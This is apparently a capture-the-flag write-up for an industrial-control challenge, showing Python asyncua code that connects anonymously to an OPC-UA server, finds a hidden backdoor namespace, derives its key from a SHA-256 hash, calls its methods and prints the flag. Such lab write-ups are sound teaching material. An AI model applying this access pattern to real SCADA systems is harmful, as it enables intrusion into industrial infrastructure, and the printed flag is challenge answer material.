ESPILON-CTF-2026-Writeups/OT/Tachibana_SCADA/README.md
Eun0us 6a0877384d [+] Writeups v2 — sync solves, real points, scoreboard stats, cleanup
- Remove undeployed challenges: Phantom_Byte, Cr4cK_w1f1, Lain_Br34kC0r3 V1,
  Lain_VS_Knights, Lets_All_Love_UART, AETHER_NET, Last_Train_451, Web3/
- Sync 24 solve/ files from main CTF-Espilon repo
- Update all READMEs with real CTFd final scores at freeze
- Add git-header.png banner
- Rewrite README: scoreboard top 10, edition stats (1410 users, 264 boards,
  1344 solves), correct freeze date March 26 2026
2026-03-27 21:27:45 +01:00

5.0 KiB

Tachibana SCADA

Field Value
Category OT
Difficulty Medium-Hard
Points 413
Author Eun0us
CTF Espilon 2026

Description

After the KIDS incident, forensic investigators found an OPC-UA server still running on the isolated SCADA segment at Tachibana General Laboratories.

The server allows anonymous connections. Beneath the standard industrial data, there is a hidden namespace registered by Eiri Masami before his termination.

Browse the address space. Find the hidden namespace. There is a method that was never meant to be called.

  • OPC-UA Binary: tcp/<host>:4840

Format: ESPILON{flag}


TL;DR

Connect anonymously to the OPC-UA server. Read the namespace array to find the hidden urn:tachibana:eiri:kids namespace. Browse it to find Backdoor/Authenticate and Backdoor/ExtractResearchData methods. Derive credentials from the namespace URI (username=eiri, key_hash=SHA256("KIDS")[:16]). Call Authenticate, then call ExtractResearchData with project_id=7 to get the flag.


Tools

Tool Purpose
Python 3 + asyncua OPC-UA async client
Python 3 + hashlib SHA-256 key hash derivation

Solution

Step 1 — Connect anonymously

import asyncio
from asyncua import Client

async def exploit():
    async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
        # Step 2: discover namespaces
        ns_array = await c.get_namespace_array()
        print(ns_array)
['http://opcfoundation.org/UA/',
 'urn:tachibana:scada',          ← public SCADA data
 'urn:tachibana:eiri:kids']      ← HIDDEN namespace

NamespaceArray showing the hidden eiri:kids namespace at index 3

Step 2 — Browse the public namespace (ns=2)

Standard SCADA data: power distribution, cooling systems, Wired Interface Array. Note Resonance_Hz = 7.83 — a Schumann resonance breadcrumb.

Step 3 — Browse the hidden namespace (ns=3)

async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
    ns = await c.get_namespace_index("urn:tachibana:eiri:kids")
    root = c.nodes.root

    eiri = await root.get_child([f"0:Objects", f"{ns}:EiriMasami"])
    kids = await eiri.get_child(f"{ns}:KIDS_Project")
    bkdr = await eiri.get_child(f"{ns}:Backdoor")

    # Variables inside KIDS_Project
    subject_count     = await (await kids.get_child(f"{ns}:SubjectCount")).get_value()
    protocol7_version = await (await kids.get_child(f"{ns}:Protocol7_Version")).get_value()
    # Protocol7_Version = "7.0.0-alpha"  → project_id = 7

    # Methods inside Backdoor
    auth_method    = await bkdr.get_child(f"{ns}:Authenticate")
    extract_method = await bkdr.get_child(f"{ns}:ExtractResearchData")

browse output showing EiriMasami folder with KIDS_Project and Backdoor subfolder

Step 4 — Read method argument descriptions

Authenticate(username: String, key_hash: ByteString) -> session_token: String

The key_hash InputArguments description says: "16-byte truncated SHA-256 of the project name"

Step 5 — Derive credentials

  • username: eiri — from the namespace URI urn:tachibana:eiri:kids
  • key_hash: SHA-256 of the project name, truncated to 16 bytes
import hashlib

# Project name = "KIDS" — from the namespace path urn:tachibana:eiri:kids
key_hash = hashlib.sha256(b"KIDS").digest()[:16]

key_hash computation in Python REPL

Step 6 — Authenticate

async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
    ns = await c.get_namespace_index("urn:tachibana:eiri:kids")
    bkdr = await c.nodes.root.get_child(
        [f"0:Objects", f"{ns}:EiriMasami", f"{ns}:Backdoor"])

    auth_method = await bkdr.get_child(f"{ns}:Authenticate")
    result = await c.nodes.root.call_method(
        auth_method, "eiri", key_hash)
    session_token = result[0]
    print(f"Token: {session_token}")

Step 7 — Extract Protocol Seven (project_id=7)

    extract_method = await bkdr.get_child(f"{ns}:ExtractResearchData")
    data = await c.nodes.root.call_method(
        extract_method, session_token, 7)
    print(data[0])  # ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}

ExtractResearchData method call returning the flag

Key insights

  • Namespace URI urn:tachibana:eiri:kids directly embeds both the username (eiri) and the hash source (kids)
  • Protocol7_Version = "7.0.0-alpha" encodes project_id = 7
  • Anonymous OPC-UA access is a real-world ICS misconfiguration — no authentication required
  • Method argument description properties provide all hints needed

Flag

ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}